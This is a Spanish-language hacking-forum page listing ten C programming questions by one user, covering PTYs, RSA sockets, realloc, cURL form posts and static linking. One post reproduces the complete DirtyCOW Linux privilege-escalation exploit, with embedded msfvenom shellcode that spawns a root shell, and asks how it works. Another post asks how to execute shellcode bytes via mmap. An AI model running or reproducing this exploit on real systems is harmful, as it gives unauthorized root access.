elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7
1  Programación / Programación C/C++ / Utilizar recursos graficos con PTY Linux C en: 27 Abril 2017, 14:21 pm
Hola.

Estaba trasteando con los pty's y al hacer unos cuantos me he dado cuenta de que no puedo utilizar correctamente NCURSES o moverme por el input del terminal como desearía.
Buscando imitar a SSH he mirado su codigo para ver como lo hace, pero al imitarlo me sale prácticamente lo mismo. Ejemplo del codigo:

Código
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <sys/wait.h>
  4. #include <fcntl.h>
  5. #include <pty.h>
  6. #include <utmp.h>
  7. #include <sys/select.h>
  8.  
  9. int
  10. main(void)
  11. {
  12.  int fdm, fds;
  13.  
  14.  openpty(&fdm, &fds, NULL, NULL, NULL);
  15.  
  16.  if ( fork() == 0 )
  17.    {
  18.      close(fdm);
  19.  
  20.      login_tty(fds);
  21.  
  22.      dup2(fds, 0);
  23.      dup2(fds, 1);
  24.      dup2(fds, 2);
  25.  
  26.      close(fds);
  27.  
  28.      char *arg[] = {NULL};
  29.  
  30.      execvp("/bin/bash", arg);
  31.    }
  32.  else
  33.    {
  34.      fd_set fd;
  35.  
  36.      while ( 1 )
  37.        {
  38.          char put;
  39.  
  40.          FD_ZERO(&fd);
  41.  
  42.          FD_SET(0, &fd);
  43.          FD_SET(fdm, &fd);
  44.  
  45.          select(fdm+1, &fd, NULL, NULL, NULL);
  46.  
  47.          if ( FD_ISSET(0, &fd) )
  48.            {
  49.              read(0, &put, 1);
  50.              write(fdm, &put, 1);
  51.            }
  52.          if ( FD_ISSET(fdm, &fd) )
  53.            {
  54.              read(fdm, &put, 1);
  55.              write(1, &put, 1);
  56.            }
  57.        }
  58.  
  59.      close(fdm);
  60.    }
  61.  
  62.  return 0;
  63. }

Gracias, de antemano.
2  Programación / Programación C/C++ / Error en la estructura in_addr en: 23 Marzo 2017, 12:51 pm
Tengo los siguientes codigos:

cliente:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <arpa/inet.h>
  9. #include <netdb.h>
  10. #include <openssl/pem.h>
  11. #include <openssl/ssl.h>
  12. #include <openssl/rsa.h>
  13. #include <openssl/evp.h>
  14. #include <openssl/bio.h>
  15. #include <openssl/err.h>
  16.  
  17. int getipbyhostname ( const char *hostname, char *ip,
  18.                        size_t size, struct in_addr *in ) {
  19.  int fd;
  20.  char *r_host = (char *)hostname;
  21.  struct sockaddr_in *r_addr = NULL;
  22.  struct addrinfo info_addr, *res_addr, *r;
  23.  
  24.  info_addr.ai_family     = AF_INET;
  25.  info_addr.ai_socktype   = SOCK_STREAM;
  26.  info_addr.ai_flags      = AI_PASSIVE;
  27.  info_addr.ai_protocol   = 0;
  28.  info_addr.ai_addr       = NULL;
  29.  info_addr.ai_canonname  = NULL;
  30.  info_addr.ai_next       = NULL;
  31.  
  32.  if ( getaddrinfo ( r_host, NULL, &info_addr, &res_addr ) != 0 )
  33.    return -1;
  34.  
  35.  for ( r = res_addr; r != NULL; r = r->ai_next ) {
  36.    if ( r->ai_family == AF_INET ) {
  37.      if ( (fd = socket ( r->ai_family, r->ai_socktype, r->ai_protocol )) != -1 )
  38.        break;
  39.  
  40.      close ( fd );
  41.    }
  42.  }
  43.  
  44.  r_addr = (struct sockaddr_in *)r->ai_addr;
  45.  
  46.  if ( in != NULL ) {
  47.    memcpy ( (void *)in, (void *)&r_addr->sin_addr, sizeof ( struct in_addr ) );
  48.  } strncpy (ip, inet_ntoa ( r_addr->sin_addr ), size);
  49.  
  50.  freeaddrinfo ( res_addr );
  51.  
  52.  return 0;
  53. }
  54.  
  55.  
  56. int main (int argc, char **argv) {
  57.  if ( argc < 3 ) {
  58.    return fprintf ( stderr, "%s <host> <port>\n", argv[0] );
  59.  }
  60.  
  61.  int port = atoi ( argv[2] );
  62.  int sc, rd, e_size, pub_len = 2048;
  63.  char host_ip[15];
  64.  char *r_host = argv[1];
  65.  char msg[] = "This is a successful test text did in C";
  66.  char encrypt_msg[256];
  67.  char *pub_key = calloc ( pub_len, sizeof ( char ) );
  68.  struct in_addr *inaddr_st = (struct in_addr *)malloc ( sizeof ( struct in_addr ) );
  69.  struct sockaddr_in c_addr;
  70.  RSA *rsa = NULL;
  71.  
  72.  if ( getipbyhostname ( r_host, (char *)&host_ip, sizeof ( host_ip ), inaddr_st ) == -1 ) {
  73.    return fprintf ( stderr, "Error getting host %s\n", argv[1] );
  74.  }
  75.  
  76.  // opening the socket
  77.  if ( (sc = socket ( AF_INET, SOCK_STREAM, 0 )) == -1 ) {
  78.    return fprintf ( stderr, "Error opening socket\n" );
  79.  }
  80.  
  81.  c_addr.sin_family = AF_INET;
  82.  c_addr.sin_port = htons ( port );
  83.  c_addr.sin_addr = *inaddr_st;
  84. //  memcpy ( (void *)&c_addr.sin_addr, (void *)inaddr_st, sizeof ( struct in_addr ) );
  85.  
  86.  printf ("%s\ndd", inet_ntoa ( c_addr.sin_addr ));
  87.  
  88.  if ( connect ( sc, (struct sockaddr *)&c_addr, sizeof ( c_addr ) ) == -1 ) {
  89.    return fprintf ( stderr, "Error connecting to the host\n" );
  90.  }
  91.  
  92.  // receiving the public key
  93.  rd = recv ( sc, pub_key, pub_len, 0 );
  94.  
  95.  // encrypting the message
  96.  d2i_RSAPublicKey ( &rsa, (const unsigned char **)&pub_key, rd );
  97.  if ( rsa == NULL ) {
  98.    return fprintf ( stderr, "Error creating RSA public key\n" );
  99.  }
  100.  
  101.  if ( (e_size = RSA_public_encrypt ( strlen ( msg ), (unsigned char *)msg,
  102.          (unsigned char *)&encrypt_msg, rsa, RSA_PKCS1_PADDING )) == -1 ) {
  103.    return fprintf ( stderr, "Error creating RSA key\n" );
  104.  }
  105.  
  106.  // sending encrypted message
  107.  send ( sc, encrypt_msg, e_size, 0 );
  108.  
  109.  close ( sc );
  110.  
  111.  return 0;
  112. }
  113.  

Servidor:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <fcntl.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <openssl/bio.h>
  8. #include <openssl/pem.h>
  9. #include <openssl/x509.h>
  10. #include <openssl/rsa.h>
  11. #include <openssl/bn.h>
  12.  
  13. RSA *RSA_generate ( int bits ) {
  14.  RSA *rsa = RSA_new ();
  15.  BIGNUM *e = BN_new ();
  16.  
  17.  BN_set_word ( e, RSA_F4 );
  18.  
  19.  if ( RSA_generate_key_ex ( rsa, bits, e, NULL ) == -1 )
  20.    return NULL;
  21.  
  22.  BN_clear_free ( e );
  23.  
  24.  return rsa;
  25. }
  26.  
  27. char *getRSAPrivateKey ( RSA *rsa ) {
  28.  int i;
  29.  char *priv_key = NULL;
  30.  
  31.  if ( (i = i2d_RSAPrivateKey ( rsa, (unsigned char **)&priv_key )) == -1 )
  32.    return NULL;
  33.  
  34.  priv_key[i] = '\0';
  35.  
  36.  return priv_key;
  37. }
  38.  
  39. char *getRSAPublicKey ( RSA *rsa ) {
  40.  int i;
  41.  char *pub_key = NULL;
  42.  
  43.  if ( (i = i2d_RSAPublicKey ( rsa, (unsigned char **)&pub_key )) == -1 )
  44.    return NULL;
  45.  
  46.  pub_key[i] = '\0';
  47.  
  48.  return pub_key;
  49. }
  50.  
  51. int createListenSocket ( int port, struct sockaddr_in *s_addr, int size ) {
  52.  int sc;
  53.  
  54.  if ( (sc = socket ( AF_INET, SOCK_STREAM, 0 )) == -1 )
  55.    return -1;
  56.  
  57.  s_addr->sin_family = AF_INET;
  58.  s_addr->sin_port = htons ( port );
  59.  s_addr->sin_addr.s_addr = INADDR_ANY;
  60.  
  61.  if ( bind ( sc, (struct sockaddr *)s_addr, size ) == -1 )
  62.    return -1;
  63.  
  64.  if ( listen ( sc, 1 ) == -1 )
  65.    return -1;
  66.  
  67.  return sc;
  68. }
  69.  
  70. int main () {
  71.  int sc, cc;
  72.  int rd, len;
  73.  char *pub_key = NULL;
  74.  char *priv_key = NULL;
  75.  unsigned char encrypt_data[256];
  76.  unsigned char decrypt_data[2048];
  77.  struct sockaddr_in s_addr, c_addr;
  78.  RSA *rsa = NULL;
  79.  
  80.  // generate rsa 2048
  81.  if ( (rsa = RSA_generate ( 2048 )) == NULL )
  82.    return fprintf ( stderr, "Error creating RSA keys\n" );
  83.  
  84.  // getting public key
  85.  pub_key = getRSAPublicKey ( rsa );
  86.  priv_key = getRSAPrivateKey ( rsa );
  87.  
  88.  if ( pub_key == NULL || priv_key == NULL )
  89.    return fprintf ( stderr, "Error creating public and private key\n" );
  90.  
  91.  // creating listen socket
  92.  sc = createListenSocket ( 33177, &s_addr, sizeof ( s_addr ) );
  93.  
  94.  // waiting client connection
  95.  len = sizeof ( c_addr );
  96.  if ( (cc = accept ( sc, (struct sockaddr *)&c_addr, (socklen_t *)&len )) == -1 )
  97.    return fprintf ( stderr, "Error accept() calling\n" );
  98.  
  99.  // sending public key
  100.  send ( cc, pub_key, 2048, 0 );
  101.  
  102.  // receiving crypt message
  103.  rd = recv ( cc, encrypt_data, sizeof ( encrypt_data ), 0 );
  104.  if ( rd <= 0 )
  105.    return fprintf ( stderr, "Error receiving information\n" );
  106.  
  107.  if ( (len = RSA_private_decrypt ( rd, encrypt_data, decrypt_data, rsa, RSA_PKCS1_PADDING )) == -1 ) {
  108.    return fprintf ( stderr, "Error decrypting message\n" );
  109.  } decrypt_data[len] = '\0';
  110.  
  111.  printf ("%s\n", decrypt_data);
  112.  
  113.  RSA_free ( rsa );
  114.  close ( cc );
  115.  close ( sc );
  116.  
  117.  return 0;
  118. }
  119.  

El problema que tengo principalmente es que no quiero usar la funcion gethostbyname, y me he hecho una propia utilizando getaddrinfo. Lo que hago es intentar establecer una conexion con el servidor, pero nunca funciona. El error está en el connect, creo, pero no encuentro el por qué no conecta.
El localhost sí funciona, pero con una ip remota no.

Gracias de antemano.
3  Programación / Programación C/C++ / Ejecutar shellcode en C en: 3 Marzo 2017, 16:01 pm
Hola.

Estoy intentando ejecutar una shellcode que genero con el programa xxd de esta manera:
Código:
xxd -i executable >> some.c

Una vez tengo la shell generada en el fichero some.c intento ejecutarlo de esta manera:
Código:
unsigned char shell[] = { ... };

void (*sh)();

sh = (void (*)())shell;
(void)(*sh)();

Al compilar el programa no da ningún error. Cuando lo ejecuto me da violacion de segmento.

También he probado cargando en memoria el programa de esta manera:
Código:
void *f = mmap ( 0, sizeof ( shell ), PROT_READ|PROT_WRITE|PROT_EXEC,
                               MAP_PRIVATE|MAP_ANON, -1, 0 );

memcpy ( f, shell, sizeof ( shell );

void (*sh)() = (void (*)())f;
(void)(*sh)();

Y me pasa lo mismo xd. ¿Cómo puedo ejecutar codigo en hexadecimal en C? Es decir, lo que viene a ser coger el codigo en lenguaje máquina codificado en hex y ejecutarlo en otro programa en C.

Yo creo que lo que tengo que hacer es cargarlo en memoria y ejecutar esa posicion de memoria, pero no sé qué hago mal en este proceso ni el por qué de la violación de segmento.

Gracias de antemano.
4  Programación / Programación C/C++ / Obtener el ancho de banda en un programa C en: 13 Diciembre 2016, 16:59 pm
Hola.

Principalmente, mi duda es esa. He leído que con el programa iperf3 se puede obtener y tal, me parece muy bien, pero quiero hacer una función que me devuelva en ancho de banda de un ordenador Linux sin depender de programas. La cuestión es... ¿como puedo medir el ancho de banda?

Esta cuestion viene porque estoy haciendo un cliente de SFTP y me gustaría saber como puedo descargar los ficheros con sockets sin tener que limitarlo a 1024 bytes por segundo u otro numero. Si me ciño al tamaño del fichero, como pueda ser 5MB puede que supere el ancho de banda de la red, o directamente puede que al reservar la memoria para almacenar eso me dé algún error.

Mi duda final, básicamente, es ¿como puedo obtener el ancho de banda de una conexión? Tal y como se ve cuando se ejecuta pacman en ArchLinux a la hora de descargar un paquete y tal. Que indica el ancho de banda.

Gracias de antemano.
5  Seguridad Informática / Bugs y Exploits / DirtyCOW funcionamiento en: 25 Octubre 2016, 23:58 pm
Hola. Me he descargado de exploit-db.com el exploit DirtyCOW, y estoy aprendiendo a programar en C y me gustaría entenderlo un poco. Adjunto codigo:

Código
  1. /*
  2. * (un)comment correct payload first (x86 or x64)!
  3. *
  4. * $ gcc cowroot.c -o cowroot -pthread
  5. * $ ./cowroot
  6. * DirtyCow root privilege escalation
  7. * Backing up /usr/bin/passwd.. to /tmp/bak
  8. * Size of binary: 57048
  9. * Racing, this may take a while..
  10. * /usr/bin/passwd is overwritten
  11. * Popping root shell.
  12. * Don't forget to restore /tmp/bak
  13. * thread stopped
  14. * thread stopped
  15. * root@box:/root/cow# id
  16. * uid=0(root) gid=1000(foo) groups=1000(foo)
  17. */
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <sys/mman.h>
  22. #include <sys/stat.h>
  23. #include <fcntl.h>
  24. #include <pthread.h>
  25. #include <string.h>
  26. #include <unistd.h>
  27.  
  28. void *map;
  29. int f;
  30. int stop = 0;
  31. struct stat st;
  32. char *name;
  33. pthread_t pth1,pth2,pth3;
  34.  
  35. // change if no permissions to read
  36. //char suid_binary[] = "/usr/bin/passwd";
  37. char suid_binary[] = "mydirty";
  38.  
  39. /*
  40. * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
  41. */
  42. unsigned char sc[] = {
  43.  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  44.  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  45.  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  46.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  47.  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  48.  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  49.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  50.  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  51.  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  52.  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  53.  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  54.  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  55.  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  56.  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  57.  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  58. };
  59. unsigned int sc_len = 177;
  60.  
  61. void *madviseThread(void *arg)
  62. {
  63.    int i,c=0;
  64.    for(i=0;i<1000000 && !stop;i++) {
  65.        c+=madvise(map,100,MADV_DONTNEED);
  66.    }
  67.    printf("thread stopped\n");
  68.  return NULL;
  69. }
  70.  
  71. void *procselfmemThread(void *arg)
  72. {
  73.    char *str;
  74.    str=(char*)arg;
  75.    int f=open("/proc/self/mem",O_RDWR);
  76.    int i,c=0;
  77.    for(i=0;i<1000000 && !stop;i++) {
  78.        lseek(f,(off_t)map,SEEK_SET);
  79.        c+=write(f, str, sc_len);
  80.    }
  81.    printf("thread stopped\n");
  82.  return NULL;
  83. }
  84.  
  85. void *waitForWrite(void *arg) {
  86.    char buf[sc_len];
  87.  
  88.    for(;;) {
  89.        FILE *fp = fopen(suid_binary, "rb");
  90.  
  91.        fread(buf, sc_len, 1, fp);
  92.  
  93.        if(memcmp(buf, sc, sc_len) == 0) {
  94.            printf("%s is overwritten\n", suid_binary);
  95.            break;
  96.        }
  97.  
  98.        fclose(fp);
  99.        sleep(1);
  100.    }
  101.  
  102.    stop = 1;
  103.  
  104.    printf("Popping root shell.\n");
  105.    printf("Don't forget to restore /tmp/bak\n");
  106.  
  107.    system(suid_binary);
  108.  return NULL;
  109. }
  110.  
  111. int main(int argc,char *argv[]) {
  112.    char backup[1024];
  113.  
  114.    printf("DirtyCow root privilege escalation\n");
  115.    printf("Backing up %s.. to /tmp/bak\n", suid_binary);
  116.  
  117.    sprintf(backup, "cp %s /tmp/bak", suid_binary);
  118.    system(backup);
  119.  
  120.    f = open(suid_binary,O_RDONLY);
  121.    fstat(f,&st);
  122.  
  123.    printf("Size of binary: %d\n", st.st_size);
  124.  
  125.    char payload[st.st_size];
  126.    memset(payload, 0x90, st.st_size);
  127.    memcpy(payload, sc, sc_len+1);
  128.  
  129.    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  130.  
  131.    printf("Racing, this may take a while..\n");
  132.  
  133.    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  134.    pthread_create(&pth2, NULL, &procselfmemThread, payload);
  135.    pthread_create(&pth3, NULL, &waitForWrite, NULL);
  136.  
  137.    pthread_join(pth3, NULL);
  138.  
  139.    return 0;
  140. }

Por lo que tengo entendido en el codigo, primeramente, se llama a la funcion mmap, la cual copia el contenido del fichero en memoria. Después se llama a la funcion madvise en el thread madviseThread, que no sé lo que hace exactamente xd, y finalmente llama al thread procselfmemThread, que escribe en el contenido del fichero cargado en memoria el payload que hay declarado en 'sc'. Y bueno, la funcion waitForWrite que busca si se ha escrito en el fichero.

Lo que me gustaría saber es, primero, ¿que hace la funcion mmap exactamente?, segundo, ¿que hace la funcion madvise?, tercero, ¿para qué lo meten en un bucle tan grande?, cuarto, si se carga en memoria el fichero, ¿cómo se escribe el fichero cargado en memoria al fichero real almacenado en el disco?, y por último, si en la funcion del thread procselfmemThread en el write escribo "write (f, str, sc_len) == sc_len" ¿no debería de acabar ya que se supone que ha escrito los bytes de sc_len en el fichero objetivo?

Gracias de antemano.
6  Programación / Programación C/C++ / ¿Por qué es necesario fflush ()? en: 7 Octubre 2016, 14:29 pm
Hola.
Tengo el siguiente codigo:
Código
  1. char getch (void) {
  2.  fflush (stdout);
  3.  char buf;
  4.  struct termios old = {0}, new = {0};
  5.  
  6.  if (tcgetattr (STDIN_FILENO, &old) < 0)
  7.    return -1;
  8.  
  9.  new = old;
  10.  
  11.  new.c_lflag &= ~ICANON;
  12.  new.c_cc[VMIN] = 1;
  13.  new.c_cc[VTIME] = 0;
  14.  
  15.  if (tcsetattr (STDIN_FILENO, TCSANOW, &new) < 0)
  16.    return -1;
  17.  
  18.  if (read (STDIN_FILENO, (char *)&buf, 1) < 0)
  19.    return -1;
  20.  
  21.  if (tcsetattr (STDIN_FILENO, TCSANOW, &old) < 0)
  22.    return -1;
  23.  
  24.  return buf;
  25. }
  26.  
  27. int main () {
  28.  printf ("Introduce un caracter\n");
  29.   int a = getch ();
  30. ...
  31. }

No entiendo por qué debo poner fflush despues de haber impreso por pantalla el "Introduce un caracter". Es decir, ¿por qué no lo imprime en primera instancia?

Gracias de antemano.
7  Programación / Programación C/C++ / ¿Por qué sucede lo siguiente con el tratamiento de punteros? en: 14 Septiembre 2016, 10:17 am
Perdón por el título tan general que he puesto pero es que no sé cómo expresar lo siguiente.

Tengo la siguiente función:
Código
  1. char *GetJSession (FILE *sf) {
  2.  size_t s = 0;
  3.  char *buf = NULL;
  4.  char *js = (char *) calloc (256, sizeof (char));
  5.  char *str = (char *) js;
  6.  
  7.  while (getline (&buf, &s, sf) > 0) {
  8.    printf ("%s", buf);
  9.    if (strstr (buf, "JSESSIONID=") != NULL) {
  10.      while (*++buf != '=');
  11.      while (*buf != ';') {
  12.        *str = *buf;
  13.        str++, buf++;
  14.        printf ("%c", *str);
  15.      }
  16.    }
  17.  }
  18. ...

Lo que quiero saber es por qué es necesario el uso de str y no puedo hacer esto con la variable js directamente. Anteriores veces he intentado hacer lo siguiente:
Código
  1. *js = *buf;
  2. js++, buf++;

Pero no me ha funcionado, sólo me ha funcionado haciendo que str apuntase a js. ¿Puede alguien explicarme esta necesidad?

Gracias de antemano
8  Programación / Programación C/C++ / Enviar datos por POST a un FORM usando cURL en: 13 Septiembre 2016, 17:43 pm
Hola.

Estoy haciendo un programa que usa cURL para autenticarse en la UA, pero no consigo hacer que envíe los datos por POST. El codigo es el siguiente:
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <curl/curl.h>
  5.  
  6. int main (int argc, char **argv) {
  7.  if (argc < 2)
  8.    return fprintf (stderr, "%s <ua mail>\n", argv[0]);
  9.  
  10.  char *user = argv[1];
  11.  char *pass = getpass ("Contraseña de la UA: ");
  12.  CURL *cSession;
  13.  FILE *sf = fopen ("res.html", "at");
  14.  struct curl_httppost *pData = NULL;
  15.  struct curl_httppost *last = NULL;
  16.  
  17.  curl_formadd (&pData, &last,
  18.    CURLFORM_COPYNAME, "username",
  19.    CURLFORM_COPYCONTENTS, argv[1],
  20.    CURLFORM_END);
  21.  curl_formadd (&pData, &last,
  22.    CURLFORM_COPYNAME, "password",
  23.    CURLFORM_COPYCONTENTS, pass,
  24.    CURLFORM_END);
  25.  
  26.  cSession = curl_easy_init ();
  27.  if ( !cSession ) {
  28.    fprintf (stderr, "Error iniciando cURL\n");
  29.  } else {
  30.    curl_easy_setopt (cSession, CURLOPT_VERBOSE, 1);
  31.    curl_easy_setopt (cSession, CURLOPT_URL, "https://autentica.cpd.ua.es/cas/login?service=https://cvnet.cpd.ua.es/uacloud/home/indexVerificado");
  32.    curl_easy_setopt (cSession, CURLOPT_HTTPPOST, pData);
  33.    curl_easy_setopt (cSession, CURLOPT_FOLLOWLOCATION, 1);
  34.    curl_easy_setopt (cSession, CURLOPT_WRITEDATA, (FILE *)sf);
  35.    curl_easy_setopt (cSession, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31");
  36.  
  37.    if (curl_easy_perform (cSession) != 0) {
  38.      fprintf (stderr, "Error executing cURL session\n");
  39.    } else {
  40.      printf ("Done!\n");
  41.    }
  42.  }
  43.  
  44.  curl_easy_cleanup (cSession);
  45.  
  46.  return 0;
  47. }

Lo que quiero saber es por qué no envía los datos al FORM. También he probado quitando la estructura curl_httppost y añadiendo simplemente curl_easy_setopt (cSession, CURLOPT_POSTFIELDS.

Espero que me puedan ayudar.

Y antes de que algun listillo (y vago) diga: "No hacemos tareas aquí". No, no es una tarea, sino se lo preguntaría al profesor, porque el codigo ya está medio hecho.

Gracias de antemano.
9  Programación / Programación C/C++ / Duda con realloc en: 6 Septiembre 2016, 16:48 pm
Hola.

Nunca he usado la función realloc, y ahora utilizandola me pregunto algunas cosas:
Cuando utilizo la funcion, el compilador me fuerza un poco a que utilize un valor de retorno. Por ello he hecho el siguiente programa:

Código
  1. int main () {
  2.  int *a, *b = (int *) malloc (sizeof (int));
  3.  
  4.  b[0] = 20;
  5.  a = (int *)realloc (b, 2 * sizeof (int));
  6.  b[1] = 30;
  7.  
  8.  printf ("%p\n%p\n", &a, &b);
  9.  
  10.  return 0;
  11. }

Las dudas que me surgen son... ¿El valor de retorno de realloc apunta a la nueva dirección con los datos que contenía el primer argumento (en este caso a[0] debería ser 20 y tendría que tener espacio para un int más)? ¿Que es lo que ocurre si hago free ( b ); y continuo usando a?
10  Programación / Programación C/C++ / Compilar una librería dinámica como estática C en: 2 Agosto 2016, 15:34 pm
Hola.

Me surge el siguiente error cuando ejecuto un programa:  "error while loading shared libraries libmysqlclient.so.18"
Soy consciente del error, me falta la librería MySQL, pero el caso es... lo que quiero hacer es compilar mi programa y hacer que sea portable. Es decir, lo que quiero es poder compilar el programa para usar la libreria estaticamente en el programa. He probado con el parámetro -static-libgcc al compilar con gcc en Linux, pero ni caso.

Espero que me podáis ayudar. Si no entendéis lo que quiero expresar, educadamente preguntadme.

Gracias de antemano.
Páginas: [1] 2 3 4 5 6 7
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines